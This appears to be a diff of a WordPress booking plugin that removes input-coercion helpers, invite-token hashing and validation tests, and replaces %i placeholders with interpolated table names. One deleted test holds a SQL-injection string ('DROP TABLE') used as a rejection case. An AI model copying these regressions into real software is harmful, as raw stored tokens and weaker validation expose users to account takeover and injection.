$question = new Question(
|
||||||
offeringId: $existing->offeringId,
|
offeringId: $existing->offeringId,
|
||||||
label: $request->has_param( 'label' ) ? sanitize_text_field( Val::string( $request->get_param( 'label' ) ) ) : $existing->label,
|
label: $request->has_param( 'label' ) ? sanitize_text_field( (string) $request->get_param( 'label' ) ) : $existing->label,
|
||||||
fieldType: $fieldType,
|
fieldType: $fieldType,
|
||||||
options: $request->has_param( 'options' ) ? $this->sanitizeOptions( $request->get_param( 'options' ) ) : $existing->options,
|
options: $request->has_param( 'options' ) ? $this->sanitizeOptions( $request->get_param( 'options' ) ) : $existing->options,
|
||||||
isRequired: $request->has_param( 'is_required' ) ? (bool) $request->get_param( 'is_required' ) : $existing->isRequired,
|
isRequired: $request->has_param( 'is_required' ) ? (bool) $request->get_param( 'is_required' ) : $existing->isRequired,
|
||||||
sortOrder: $request->has_param( 'sort_order' ) ? Val::int( $request->get_param( 'sort_order' ) ) : $existing->sortOrder,
|
sortOrder: $request->has_param( 'sort_order' ) ? (int) $request->get_param( 'sort_order' ) : $existing->sortOrder,
|
||||||
isActive: $request->has_param( 'is_active' ) ? (bool) $request->get_param( 'is_active' ) : $existing->isActive,
|
isActive: $request->has_param( 'is_active' ) ? (bool) $request->get_param( 'is_active' ) : $existing->isActive,
|
||||||
id: $id,
|
id: $id,
|
||||||
);
|
);
|
||||||
@@ -135,7 +129,7 @@ class QuestionEndpoint {
|
|||||||
}
|
}
|
||||||
|
|
||||||
public function delete( \WP_REST_Request $request ): \WP_REST_Response|\WP_Error {
|
public function delete( \WP_REST_Request $request ): \WP_REST_Response|\WP_Error {
|
||||||
$id = absint( Val::int( $request->get_param( 'id' ) ) );
|
$id = absint( $request->get_param( 'id' ) );
|
||||||
$existing = $this->questions->findById( $id );
|
$existing = $this->questions->findById( $id );
|
||||||
|
|
||||||
if ( null === $existing ) {
|
if ( null === $existing ) {
|
||||||
@@ -198,7 +192,7 @@ class QuestionEndpoint {
|
|||||||
$options = array_values(
|
$options = array_values(
|
||||||
array_filter(
|
array_filter(
|
||||||
array_map(
|
array_map(
|
||||||
static fn( mixed $option ): string => sanitize_text_field( Val::string( $option ) ),
|
static fn( $option ): string => sanitize_text_field( (string) $option ),
|
||||||
$value
|
$value
|
||||||
)
|
)
|
||||||
)
|
)
|
||||||
|
|||||||
@@ -54,8 +54,8 @@ class QuestionRepository {
|
|||||||
* @return list<Question>
|
* @return list<Question>
|
||||||
*/
|
*/
|
||||||
public function findByOffering( int $offeringId, bool $activeOnly = false ): array {
|
public function findByOffering( int $offeringId, bool $activeOnly = false ): array {
|
||||||
$sql = 'SELECT * FROM %i WHERE offering_id = %d';
|
$sql = "SELECT * FROM {$this->table} WHERE offering_id = %d";
|
||||||
$params = [ $this->table, $offeringId ];
|
$params = [ $offeringId ];
|
||||||
|
|
||||||
if ( $activeOnly ) {
|
if ( $activeOnly ) {
|
||||||
$sql .= ' AND is_active = %d';
|
$sql .= ' AND is_active = %d';
|
||||||
@@ -71,7 +71,7 @@ class QuestionRepository {
|
|||||||
|
|
||||||
public function findById( int $id ): ?Question {
|
public function findById( int $id ): ?Question {
|
||||||
$row = $this->db->get_row(
|
$row = $this->db->get_row(
|
||||||
$this->db->prepare( 'SELECT * FROM %i WHERE id = %d', $this->table, $id )
|
$this->db->prepare( "SELECT * FROM {$this->table} WHERE id = %d", $id )
|
||||||
);
|
);
|
||||||
|
|
||||||
return $row ? Question::fromRow( $row ) : null;
|
return $row ? Question::fromRow( $row ) : null;
|
||||||
|
|||||||
@@ -3,20 +3,34 @@ declare(strict_types=1);
|
|||||||
|
|
||||||
namespace Unsupervised\Schedular;
|
namespace Unsupervised\Schedular;
|
||||||
|
|
||||||
|
use Unsupervised\Schedular\Auth\InviteRepository;
|
||||||
use Unsupervised\Schedular\Auth\LoginPage;
|
use Unsupervised\Schedular\Auth\LoginPage;
|
||||||
use Unsupervised\Schedular\Auth\RegistrationPage;
|
use Unsupervised\Schedular\Auth\RegistrationPage;
|
||||||
use Unsupervised\Schedular\Booking\BookingPage;
|
use Unsupervised\Schedular\Booking\BookingPage;
|
||||||
use Unsupervised\Schedular\GroupClass\GroupClassPage;
|
use Unsupervised\Schedular\GroupClass\GroupClassPage;
|
||||||
use Unsupervised\Schedular\Payment\StudioSettings;
|
use Unsupervised\Schedular\Payment\StudioSettings;
|
||||||
|
use Unsupervised\Schedular\Policy\AcceptanceRepository;
|
||||||
|
use Unsupervised\Schedular\Policy\PolicyRepository;
|
||||||
|
use Unsupervised\Schedular\Policy\PolicyVersionRepository;
|
||||||
|
|
||||||
class ShortcodeRegistrar {
|
class ShortcodeRegistrar {
|
||||||
|
|
||||||
|
private BookingPage $bookingPage;
|
||||||
|
private LoginPage $loginPage;
|
||||||
|
private RegistrationPage $registrationPage;
|
||||||
|
private GroupClassPage $groupClassPage;
|
||||||
|
|
||||||
public function __construct(
|
public function __construct(
|
||||||
private BookingPage $bookingPage,
|
InviteRepository $invites,
|
||||||
private LoginPage $loginPage,
|
PolicyRepository $policies,
|
||||||
private RegistrationPage $registrationPage,
|
PolicyVersionRepository $policyVersions,
|
||||||
private GroupClassPage $groupClassPage,
|
AcceptanceRepository $acceptances,
|
||||||
) {}
|
) {
|
||||||
|
$this->bookingPage = new BookingPage();
|
||||||
|
$this->loginPage = new LoginPage();
|
||||||
|
$this->registrationPage = new RegistrationPage( $invites, $policies, $policyVersions, $acceptances );
|
||||||
|
$this->groupClassPage = new GroupClassPage();
|
||||||
|
}
|
||||||
|
|
||||||
public function register(): void {
|
public function register(): void {
|
||||||
add_shortcode( 'us_booking', [ $this->bookingPage, 'render' ] );
|
add_shortcode( 'us_booking', [ $this->bookingPage, 'render' ] );
|
||||||
|
|||||||
-60
@@ -1,60 +0,0 @@
|
|||||||
<?php
|
|
||||||
declare(strict_types=1);
|
|
||||||
|
|
||||||
namespace Unsupervised\Schedular;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* Runtime coercion helpers for values crossing untyped WordPress boundaries
|
|
||||||
* (wpdb rows, REST request params, superglobals). Each method narrows a mixed
|
|
||||||
* value with an explicit runtime check instead of a blind cast, so an
|
|
||||||
* unexpected shape degrades to a safe default rather than leaking garbage
|
|
||||||
* into typed code.
|
|
||||||
*/
|
|
||||||
final class Val {
|
|
||||||
|
|
||||||
/**
|
|
||||||
* Coerce to int; non-numeric values become 0.
|
|
||||||
*/
|
|
||||||
public static function int( mixed $value ): int {
|
|
||||||
return is_numeric( $value ) ? (int) $value : 0;
|
|
||||||
}
|
|
||||||
|
|
||||||
/**
|
|
||||||
* Coerce to int, preserving null (e.g. nullable DB columns).
|
|
||||||
*/
|
|
||||||
public static function intOrNull( mixed $value ): ?int {
|
|
||||||
return null === $value ? null : self::int( $value );
|
|
||||||
}
|
|
||||||
|
|
||||||
/**
|
|
||||||
* Coerce to float; non-numeric values become 0.0.
|
|
||||||
*/
|
|
||||||
public static function float( mixed $value ): float {
|
|
||||||
return is_numeric( $value ) ? (float) $value : 0.0;
|
|
||||||
}
|
|
||||||
|
|
||||||
/**
|
|
||||||
* Coerce to string; non-scalar values become ''.
|
|
||||||
*/
|
|
||||||
public static function string( mixed $value ): string {
|
|
||||||
if ( is_string( $value ) ) {
|
|
||||||
return $value;
|
|
||||||
}
|
|
||||||
|
|
||||||
return is_scalar( $value ) ? (string) $value : '';
|
|
||||||
}
|
|
||||||
|
|
||||||
/**
|
|
||||||
* Coerce to string, preserving null (e.g. nullable DB columns).
|
|
||||||
*/
|
|
||||||
public static function stringOrNull( mixed $value ): ?string {
|
|
||||||
return null === $value ? null : self::string( $value );
|
|
||||||
}
|
|
||||||
|
|
||||||
/**
|
|
||||||
* Coerce to bool using PHP truthiness (DB tinyint flags, option values).
|
|
||||||
*/
|
|
||||||
public static function bool( mixed $value ): bool {
|
|
||||||
return (bool) $value;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -9,19 +9,11 @@ if (! defined('ABSPATH')) {
|
|||||||
* @var list<\Unsupervised\Schedular\Auth\Invite> $pendingInvites
|
* @var list<\Unsupervised\Schedular\Auth\Invite> $pendingInvites
|
||||||
* @var int $registrationPageId
|
* @var int $registrationPageId
|
||||||
* @var string $registrationPageUrl
|
* @var string $registrationPageUrl
|
||||||
* @var string $newInviteUrl One-time registration link for a just-created invite.
|
|
||||||
*/
|
*/
|
||||||
?>
|
?>
|
||||||
<div class="wrap">
|
<div class="wrap">
|
||||||
<h1><?php esc_html_e('Invites', 'unsupervised-schedular'); ?></h1>
|
<h1><?php esc_html_e('Invites', 'unsupervised-schedular'); ?></h1>
|
||||||
<p class="description"><?php esc_html_e('Invite a student by email, then send them the registration link. They complete signup and accept any required policies through the [us_student_register] page.', 'unsupervised-schedular'); ?></p>
|
<p class="description"><?php esc_html_e('Invite a student by email, then send them the registration link below. They complete signup and accept any required policies through the [us_student_register] page.', 'unsupervised-schedular'); ?></p>
|
||||||
|
|
||||||
<?php if ($newInviteUrl !== '') : ?>
|
|
||||||
<div class="notice notice-success inline">
|
|
||||||
<p><?php esc_html_e('Invite created. Copy the registration link now — for security it is not stored and cannot be shown again. To re-send a lost link, revoke the invite and create a new one.', 'unsupervised-schedular'); ?></p>
|
|
||||||
<p><input type="text" class="large-text code" readonly value="<?php echo esc_attr($newInviteUrl); ?>" onclick="this.select()"></p>
|
|
||||||
</div>
|
|
||||||
<?php endif; ?>
|
|
||||||
|
|
||||||
<h2><?php esc_html_e('Registration Page', 'unsupervised-schedular'); ?></h2>
|
<h2><?php esc_html_e('Registration Page', 'unsupervised-schedular'); ?></h2>
|
||||||
<form method="post">
|
<form method="post">
|
||||||
@@ -75,13 +67,15 @@ if (! defined('ABSPATH')) {
|
|||||||
<thead>
|
<thead>
|
||||||
<tr>
|
<tr>
|
||||||
<th><?php esc_html_e('Email', 'unsupervised-schedular'); ?></th>
|
<th><?php esc_html_e('Email', 'unsupervised-schedular'); ?></th>
|
||||||
<th><?php esc_html_e('Invited', 'unsupervised-schedular'); ?></th>
|
<th><?php esc_html_e('Registration link', 'unsupervised-schedular'); ?></th>
|
||||||
<th><?php esc_html_e('Actions', 'unsupervised-schedular'); ?></th>
|
<th><?php esc_html_e('Actions', 'unsupervised-schedular'); ?></th>
|
||||||
</tr>
|
</tr>
|
||||||
</thead>
|
</thead>
|
||||||
<tbody>
|
<tbody>
|
||||||
|
<?php $linkBase = $registrationPageUrl !== '' ? $registrationPageUrl : home_url('/'); ?>
|
||||||
<?php $now = current_time('mysql'); ?>
|
<?php $now = current_time('mysql'); ?>
|
||||||
<?php foreach ($pendingInvites as $invite) : ?>
|
<?php foreach ($pendingInvites as $invite) : ?>
|
||||||
|
<?php $link = esc_url(add_query_arg('us_invite', $invite->token, $linkBase)); ?>
|
||||||
<tr>
|
<tr>
|
||||||
<td>
|
<td>
|
||||||
<?php echo esc_html($invite->email); ?>
|
<?php echo esc_html($invite->email); ?>
|
||||||
@@ -90,7 +84,7 @@ if (! defined('ABSPATH')) {
|
|||||||
<?php endif; ?>
|
<?php endif; ?>
|
||||||
</td>
|
</td>
|
||||||
<td>
|
<td>
|
||||||
<?php echo esc_html((string) $invite->createdAt); ?>
|
<input type="text" class="large-text code" readonly value="<?php echo esc_attr($link); ?>" onclick="this.select()">
|
||||||
</td>
|
</td>
|
||||||
<td>
|
<td>
|
||||||
<form method="post" style="display:inline;">
|
<form method="post" style="display:inline;">
|
||||||
|
|||||||
@@ -7,7 +7,6 @@ if (! defined('ABSPATH')) {
|
|||||||
|
|
||||||
/**
|
/**
|
||||||
* @var \Unsupervised\Schedular\Auth\Invite|null $invite
|
* @var \Unsupervised\Schedular\Auth\Invite|null $invite
|
||||||
* @var string $token Raw invite token from the request (only its hash is stored).
|
|
||||||
* @var bool $canRegister
|
* @var bool $canRegister
|
||||||
* @var bool $success
|
* @var bool $success
|
||||||
* @var string $error
|
* @var string $error
|
||||||
@@ -26,7 +25,7 @@ if (! defined('ABSPATH')) {
|
|||||||
|
|
||||||
<form method="post" action="">
|
<form method="post" action="">
|
||||||
<?php wp_nonce_field('us_student_register'); ?>
|
<?php wp_nonce_field('us_student_register'); ?>
|
||||||
<input type="hidden" name="us_invite" value="<?php echo esc_attr($token); ?>">
|
<input type="hidden" name="us_invite" value="<?php echo esc_attr($invite->token); ?>">
|
||||||
|
|
||||||
<p>
|
<p>
|
||||||
<label for="us-reg-email"><?php esc_html_e('Email', 'unsupervised-schedular'); ?></label>
|
<label for="us-reg-email"><?php esc_html_e('Email', 'unsupervised-schedular'); ?></label>
|
||||||
|
|||||||
@@ -48,7 +48,7 @@ class InviteRepositoryTest extends TestCase
|
|||||||
{
|
{
|
||||||
$this->db->shouldReceive('prepare')
|
$this->db->shouldReceive('prepare')
|
||||||
->once()
|
->once()
|
||||||
->with(Mockery::pattern('/token = %s/'), 'wp_us_invites', 'tok123')
|
->with(Mockery::pattern('/token = %s/'), 'tok123')
|
||||||
->andReturn('SELECT ...');
|
->andReturn('SELECT ...');
|
||||||
|
|
||||||
$this->db->shouldReceive('get_row')->andReturn($this->row());
|
$this->db->shouldReceive('get_row')->andReturn($this->row());
|
||||||
@@ -71,7 +71,7 @@ class InviteRepositoryTest extends TestCase
|
|||||||
{
|
{
|
||||||
$this->db->shouldReceive('prepare')
|
$this->db->shouldReceive('prepare')
|
||||||
->once()
|
->once()
|
||||||
->with(Mockery::pattern('/email = %s AND status = %s/'), 'wp_us_invites', 'a@b.test', Invite::STATUS_PENDING)
|
->with(Mockery::pattern('/email = %s AND status = %s/'), 'a@b.test', Invite::STATUS_PENDING)
|
||||||
->andReturn('SELECT ...');
|
->andReturn('SELECT ...');
|
||||||
|
|
||||||
$this->db->shouldReceive('get_row')->andReturn($this->row());
|
$this->db->shouldReceive('get_row')->andReturn($this->row());
|
||||||
@@ -83,7 +83,7 @@ class InviteRepositoryTest extends TestCase
|
|||||||
{
|
{
|
||||||
$this->db->shouldReceive('prepare')
|
$this->db->shouldReceive('prepare')
|
||||||
->once()
|
->once()
|
||||||
->with(Mockery::pattern('/status = %s/'), 'wp_us_invites', Invite::STATUS_PENDING)
|
->with(Mockery::pattern('/status = %s/'), Invite::STATUS_PENDING)
|
||||||
->andReturn('SELECT ...');
|
->andReturn('SELECT ...');
|
||||||
|
|
||||||
$this->db->shouldReceive('get_results')->andReturn([$this->row()]);
|
$this->db->shouldReceive('get_results')->andReturn([$this->row()]);
|
||||||
|
|||||||
@@ -95,16 +95,6 @@ class InviteTest extends TestCase
|
|||||||
self::assertFalse($invite->isAcceptable('2026-06-02 09:00:00'));
|
self::assertFalse($invite->isAcceptable('2026-06-02 09:00:00'));
|
||||||
}
|
}
|
||||||
|
|
||||||
public function testHashTokenIsDeterministicSha256(): void
|
|
||||||
{
|
|
||||||
$hash = Invite::hashToken('raw-token');
|
|
||||||
|
|
||||||
self::assertSame(hash('sha256', 'raw-token'), $hash);
|
|
||||||
self::assertSame($hash, Invite::hashToken('raw-token'));
|
|
||||||
self::assertNotSame($hash, Invite::hashToken('other-token'));
|
|
||||||
self::assertSame(64, strlen($hash));
|
|
||||||
}
|
|
||||||
|
|
||||||
public function testToArrayContainsExpectedKeys(): void
|
public function testToArrayContainsExpectedKeys(): void
|
||||||
{
|
{
|
||||||
$arr = (new Invite('a@b.test', 'tok', id: 1))->toArray();
|
$arr = (new Invite('a@b.test', 'tok', id: 1))->toArray();
|
||||||
|
|||||||
@@ -147,16 +147,11 @@ class AvailabilityRepositoryTest extends TestCase
|
|||||||
self::assertFalse($this->repo->delete(1));
|
self::assertFalse($this->repo->delete(1));
|
||||||
}
|
}
|
||||||
|
|
||||||
public function testFindAvailableWithNoFiltersPreparesTableOnly(): void
|
public function testFindAvailableWithNoFiltersUsesNoParams(): void
|
||||||
{
|
{
|
||||||
$this->db->shouldReceive('prepare')
|
|
||||||
->once()
|
|
||||||
->with(Mockery::pattern('/WHERE is_booked = 0/'), ['wp_us_availability'])
|
|
||||||
->andReturn('SELECT ...');
|
|
||||||
|
|
||||||
$this->db->shouldReceive('get_results')
|
$this->db->shouldReceive('get_results')
|
||||||
->once()
|
->once()
|
||||||
->with('SELECT ...')
|
->with(Mockery::pattern('/WHERE is_booked = 0/'))
|
||||||
->andReturn([]);
|
->andReturn([]);
|
||||||
|
|
||||||
$result = $this->repo->findAvailable();
|
$result = $this->repo->findAvailable();
|
||||||
@@ -182,7 +177,7 @@ class AvailabilityRepositoryTest extends TestCase
|
|||||||
->once()
|
->once()
|
||||||
->with(
|
->with(
|
||||||
Mockery::pattern('/offering_id = %d AND duration_minutes = %d/'),
|
Mockery::pattern('/offering_id = %d AND duration_minutes = %d/'),
|
||||||
Mockery::on(static fn (array $p): bool => $p === ['wp_us_availability', 8, 30])
|
Mockery::on(static fn (array $p): bool => $p === [8, 30])
|
||||||
)
|
)
|
||||||
->andReturn('SELECT ...');
|
->andReturn('SELECT ...');
|
||||||
|
|
||||||
|
|||||||
@@ -64,26 +64,6 @@ class AvailabilitySlotTest extends TestCase
|
|||||||
self::assertTrue($slot->isBooked);
|
self::assertTrue($slot->isBooked);
|
||||||
}
|
}
|
||||||
|
|
||||||
public function testNormalizeDateTimeAcceptsCanonicalAndDatetimeLocalForms(): void
|
|
||||||
{
|
|
||||||
self::assertSame('2026-04-01 09:00:00', AvailabilitySlot::normalizeDateTime('2026-04-01 09:00:00'));
|
|
||||||
self::assertSame('2026-04-01 09:00:00', AvailabilitySlot::normalizeDateTime('2026-04-01 09:00'));
|
|
||||||
self::assertSame('2026-04-01 09:00:00', AvailabilitySlot::normalizeDateTime('2026-04-01T09:00'));
|
|
||||||
self::assertSame('2026-04-01 09:00:30', AvailabilitySlot::normalizeDateTime('2026-04-01T09:00:30'));
|
|
||||||
}
|
|
||||||
|
|
||||||
public function testNormalizeDateTimeRejectsGarbageAndImpossibleDates(): void
|
|
||||||
{
|
|
||||||
self::assertNull(AvailabilitySlot::normalizeDateTime(''));
|
|
||||||
self::assertNull(AvailabilitySlot::normalizeDateTime('not a date'));
|
|
||||||
self::assertNull(AvailabilitySlot::normalizeDateTime('next tuesday'));
|
|
||||||
self::assertNull(AvailabilitySlot::normalizeDateTime('2026-04-01'));
|
|
||||||
self::assertNull(AvailabilitySlot::normalizeDateTime('2026-13-01 09:00:00'));
|
|
||||||
self::assertNull(AvailabilitySlot::normalizeDateTime('2026-02-30 09:00:00'));
|
|
||||||
self::assertNull(AvailabilitySlot::normalizeDateTime('2026-04-01 25:00:00'));
|
|
||||||
self::assertNull(AvailabilitySlot::normalizeDateTime("2026-04-01 09:00:00'); DROP TABLE x;--"));
|
|
||||||
}
|
|
||||||
|
|
||||||
public function testToArrayContainsExpectedKeys(): void
|
public function testToArrayContainsExpectedKeys(): void
|
||||||
{
|
{
|
||||||
$slot = new AvailabilitySlot(1, '2026-04-01 09:00:00', '2026-04-01 10:00:00', 30, 8, false, null, 10);
|
$slot = new AvailabilitySlot(1, '2026-04-01 09:00:00', '2026-04-01 10:00:00', 30, 8, false, null, 10);
|
||||||
|
|||||||
@@ -1,57 +0,0 @@
|
|||||||
<?php
|
|
||||||
declare(strict_types=1);
|
|
||||||
|
|
||||||
namespace Unsupervised\Schedular\Tests\Unit;
|
|
||||||
|
|
||||||
use Brain\Monkey\Functions;
|
|
||||||
use Unsupervised\Schedular\BlockPreview;
|
|
||||||
|
|
||||||
class BlockPreviewTest extends TestCase
|
|
||||||
{
|
|
||||||
public function testBookingPreviewMirrorsTheLiveMarkup(): void
|
|
||||||
{
|
|
||||||
$html = BlockPreview::booking();
|
|
||||||
|
|
||||||
self::assertStringContainsString('id="us-booking-app"', $html);
|
|
||||||
self::assertStringContainsString('id="us-slot-list"', $html);
|
|
||||||
self::assertStringContainsString('class="us-day"', $html);
|
|
||||||
self::assertStringContainsString('class="us-slot"', $html);
|
|
||||||
self::assertStringContainsString('class="us-book-btn" disabled', $html);
|
|
||||||
self::assertStringContainsString('us-editor-note', $html);
|
|
||||||
}
|
|
||||||
|
|
||||||
public function testGroupClassesPreviewMirrorsTheLiveMarkup(): void
|
|
||||||
{
|
|
||||||
$html = BlockPreview::groupClasses();
|
|
||||||
|
|
||||||
self::assertStringContainsString('id="us-group-app"', $html);
|
|
||||||
self::assertStringContainsString('id="us-group-list"', $html);
|
|
||||||
self::assertStringContainsString('class="us-class"', $html);
|
|
||||||
self::assertStringContainsString('class="us-enrol-btn" disabled', $html);
|
|
||||||
self::assertStringContainsString('us-editor-note', $html);
|
|
||||||
}
|
|
||||||
|
|
||||||
public function testLoginPreviewIncludesTheRealLoginTemplate(): void
|
|
||||||
{
|
|
||||||
Functions\when('wp_nonce_field')->justReturn('');
|
|
||||||
|
|
||||||
$html = BlockPreview::login();
|
|
||||||
|
|
||||||
self::assertStringContainsString('class="us-login-form"', $html);
|
|
||||||
self::assertStringContainsString('name="log"', $html);
|
|
||||||
self::assertStringContainsString('name="pwd"', $html);
|
|
||||||
self::assertStringContainsString('us-editor-note', $html);
|
|
||||||
}
|
|
||||||
|
|
||||||
public function testRegistrationPreviewShowsADisabledSampleForm(): void
|
|
||||||
{
|
|
||||||
$html = BlockPreview::registration();
|
|
||||||
|
|
||||||
self::assertStringContainsString('class="us-register-form"', $html);
|
|
||||||
self::assertStringContainsString('id="us-reg-email"', $html);
|
|
||||||
self::assertStringContainsString('id="us-reg-name"', $html);
|
|
||||||
self::assertStringContainsString('id="us-reg-pass"', $html);
|
|
||||||
self::assertStringContainsString('disabled', $html);
|
|
||||||
self::assertStringContainsString('us-editor-note', $html);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -1,167 +0,0 @@
|
|||||||
<?php
|
|
||||||
declare(strict_types=1);
|
|
||||||
|
|
||||||
namespace Unsupervised\Schedular\Tests\Unit;
|
|
||||||
|
|
||||||
use Brain\Monkey\Actions;
|
|
||||||
use Brain\Monkey\Functions;
|
|
||||||
use Mockery;
|
|
||||||
use Unsupervised\Schedular\Auth\LoginPage;
|
|
||||||
use Unsupervised\Schedular\Auth\RegistrationPage;
|
|
||||||
use Unsupervised\Schedular\BlockRegistrar;
|
|
||||||
use Unsupervised\Schedular\Booking\BookingPage;
|
|
||||||
use Unsupervised\Schedular\GroupClass\GroupClassPage;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* Test double exposing editor-preview mode as a switch, since the real
|
|
||||||
* detection relies on the REST_REQUEST constant which cannot be toggled
|
|
||||||
* within a single PHP process.
|
|
||||||
*/
|
|
||||||
class TestableBlockRegistrar extends BlockRegistrar
|
|
||||||
{
|
|
||||||
public bool $preview = false;
|
|
||||||
|
|
||||||
protected function isEditorPreview(): bool
|
|
||||||
{
|
|
||||||
return $this->preview;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
class BlockRegistrarTest extends TestCase
|
|
||||||
{
|
|
||||||
private BookingPage&Mockery\MockInterface $bookingPage;
|
|
||||||
private LoginPage&Mockery\MockInterface $loginPage;
|
|
||||||
private RegistrationPage&Mockery\MockInterface $registrationPage;
|
|
||||||
private GroupClassPage&Mockery\MockInterface $groupClassPage;
|
|
||||||
private TestableBlockRegistrar $registrar;
|
|
||||||
|
|
||||||
protected function setUp(): void
|
|
||||||
{
|
|
||||||
parent::setUp();
|
|
||||||
|
|
||||||
$this->bookingPage = Mockery::mock(BookingPage::class);
|
|
||||||
$this->loginPage = Mockery::mock(LoginPage::class);
|
|
||||||
$this->registrationPage = Mockery::mock(RegistrationPage::class);
|
|
||||||
$this->groupClassPage = Mockery::mock(GroupClassPage::class);
|
|
||||||
|
|
||||||
$this->registrar = new TestableBlockRegistrar(
|
|
||||||
$this->bookingPage,
|
|
||||||
$this->loginPage,
|
|
||||||
$this->registrationPage,
|
|
||||||
$this->groupClassPage,
|
|
||||||
);
|
|
||||||
}
|
|
||||||
|
|
||||||
public function testRegisterHooksBlockRegistrationOntoInit(): void
|
|
||||||
{
|
|
||||||
Actions\expectAdded('init')->once()->with([$this->registrar, 'registerBlocks']);
|
|
||||||
|
|
||||||
$this->registrar->register();
|
|
||||||
}
|
|
||||||
|
|
||||||
public function testRegisterBlocksRegistersAllFourBlocksWithAssets(): void
|
|
||||||
{
|
|
||||||
Functions\expect('wp_register_script')
|
|
||||||
->once()
|
|
||||||
->with(
|
|
||||||
BlockRegistrar::SCRIPT_HANDLE,
|
|
||||||
Mockery::pattern('~assets/js/blocks\.js$~'),
|
|
||||||
Mockery::type('array'),
|
|
||||||
USC_VERSION,
|
|
||||||
true
|
|
||||||
);
|
|
||||||
Functions\when('wp_style_is')->justReturn(false);
|
|
||||||
Functions\expect('wp_register_style')
|
|
||||||
->once()
|
|
||||||
->with(
|
|
||||||
BlockRegistrar::STYLE_HANDLE,
|
|
||||||
Mockery::pattern('~assets/css/frontend\.css$~'),
|
|
||||||
[],
|
|
||||||
USC_VERSION
|
|
||||||
);
|
|
||||||
|
|
||||||
$registered = [];
|
|
||||||
Functions\when('register_block_type')->alias(
|
|
||||||
static function (string $name, array $args) use (&$registered): bool {
|
|
||||||
$registered[$name] = $args;
|
|
||||||
return true;
|
|
||||||
}
|
|
||||||
);
|
|
||||||
|
|
||||||
$this->registrar->registerBlocks();
|
|
||||||
|
|
||||||
self::assertSame(
|
|
||||||
[
|
|
||||||
'us-scheduler/booking',
|
|
||||||
'us-scheduler/student-login',
|
|
||||||
'us-scheduler/student-register',
|
|
||||||
'us-scheduler/group-classes',
|
|
||||||
],
|
|
||||||
array_keys($registered)
|
|
||||||
);
|
|
||||||
|
|
||||||
foreach ($registered as $args) {
|
|
||||||
self::assertSame(BlockRegistrar::SCRIPT_HANDLE, $args['editor_script']);
|
|
||||||
self::assertSame(BlockRegistrar::STYLE_HANDLE, $args['style']);
|
|
||||||
self::assertIsCallable($args['render_callback']);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
public function testRegisterBlocksDoesNotReRegisterAnAlreadyRegisteredStyle(): void
|
|
||||||
{
|
|
||||||
Functions\when('wp_register_script')->justReturn(true);
|
|
||||||
Functions\when('wp_style_is')->justReturn(true);
|
|
||||||
Functions\expect('wp_register_style')->never();
|
|
||||||
Functions\when('register_block_type')->justReturn(true);
|
|
||||||
|
|
||||||
$this->registrar->registerBlocks();
|
|
||||||
}
|
|
||||||
|
|
||||||
public function testFrontEndRenderDelegatesToThePageObjects(): void
|
|
||||||
{
|
|
||||||
$this->registrar->preview = false;
|
|
||||||
|
|
||||||
$this->bookingPage->shouldReceive('render')->once()->with([])->andReturn('booking-html');
|
|
||||||
$this->loginPage->shouldReceive('render')->once()->with([])->andReturn('login-html');
|
|
||||||
$this->registrationPage->shouldReceive('render')->once()->with([])->andReturn('register-html');
|
|
||||||
$this->groupClassPage->shouldReceive('render')->once()->with([])->andReturn('group-html');
|
|
||||||
|
|
||||||
self::assertSame('booking-html', $this->registrar->renderBooking());
|
|
||||||
self::assertSame('login-html', $this->registrar->renderLogin());
|
|
||||||
self::assertSame('register-html', $this->registrar->renderRegistration());
|
|
||||||
self::assertSame('group-html', $this->registrar->renderGroupClasses());
|
|
||||||
}
|
|
||||||
|
|
||||||
public function testEditorPreviewRendersStaticMarkupWithoutTouchingThePages(): void
|
|
||||||
{
|
|
||||||
$this->registrar->preview = true;
|
|
||||||
|
|
||||||
Functions\when('wp_nonce_field')->justReturn('');
|
|
||||||
|
|
||||||
$this->bookingPage->shouldNotReceive('render');
|
|
||||||
$this->loginPage->shouldNotReceive('render');
|
|
||||||
$this->registrationPage->shouldNotReceive('render');
|
|
||||||
$this->groupClassPage->shouldNotReceive('render');
|
|
||||||
|
|
||||||
self::assertStringContainsString('us-booking-app', $this->registrar->renderBooking());
|
|
||||||
self::assertStringContainsString('us-login-form', $this->registrar->renderLogin());
|
|
||||||
self::assertStringContainsString('us-register-form', $this->registrar->renderRegistration());
|
|
||||||
self::assertStringContainsString('us-group-app', $this->registrar->renderGroupClasses());
|
|
||||||
}
|
|
||||||
|
|
||||||
public function testIsEditorPreviewIsFalseOutsideRestRequests(): void
|
|
||||||
{
|
|
||||||
// REST_REQUEST is undefined in the test process, so the real
|
|
||||||
// registrar must take the front-end path.
|
|
||||||
$registrar = new BlockRegistrar(
|
|
||||||
$this->bookingPage,
|
|
||||||
$this->loginPage,
|
|
||||||
$this->registrationPage,
|
|
||||||
$this->groupClassPage,
|
|
||||||
);
|
|
||||||
|
|
||||||
$this->bookingPage->shouldReceive('render')->once()->with([])->andReturn('live');
|
|
||||||
|
|
||||||
self::assertSame('live', $registrar->renderBooking());
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -138,7 +138,7 @@ class BookingRepositoryTest extends TestCase
|
|||||||
|
|
||||||
$this->db->shouldReceive('prepare')
|
$this->db->shouldReceive('prepare')
|
||||||
->once()
|
->once()
|
||||||
->with(Mockery::pattern('/COUNT\(\*\).*l.student_id = %d.*a.start_dt >= %s/s'), 'wp_us_lessons', 'wp_us_availability', 5, Lesson::STATUS_CANCELLED, '2026-06-08 12:00:00')
|
->with(Mockery::pattern('/COUNT\(\*\).*l.student_id = %d.*a.start_dt >= %s/s'), 5, Lesson::STATUS_CANCELLED, '2026-06-08 12:00:00')
|
||||||
->andReturn('SELECT ...');
|
->andReturn('SELECT ...');
|
||||||
|
|
||||||
$this->db->shouldReceive('get_var')->andReturn('3');
|
$this->db->shouldReceive('get_var')->andReturn('3');
|
||||||
|
|||||||
@@ -48,7 +48,7 @@ class EnrollmentRepositoryTest extends TestCase
|
|||||||
{
|
{
|
||||||
$this->db->shouldReceive('prepare')
|
$this->db->shouldReceive('prepare')
|
||||||
->once()
|
->once()
|
||||||
->with(Mockery::pattern('/COUNT\(\*\).*offering_id = %d AND status = %s/s'), 'wp_us_group_enrollments', 7, Enrollment::STATUS_ACTIVE)
|
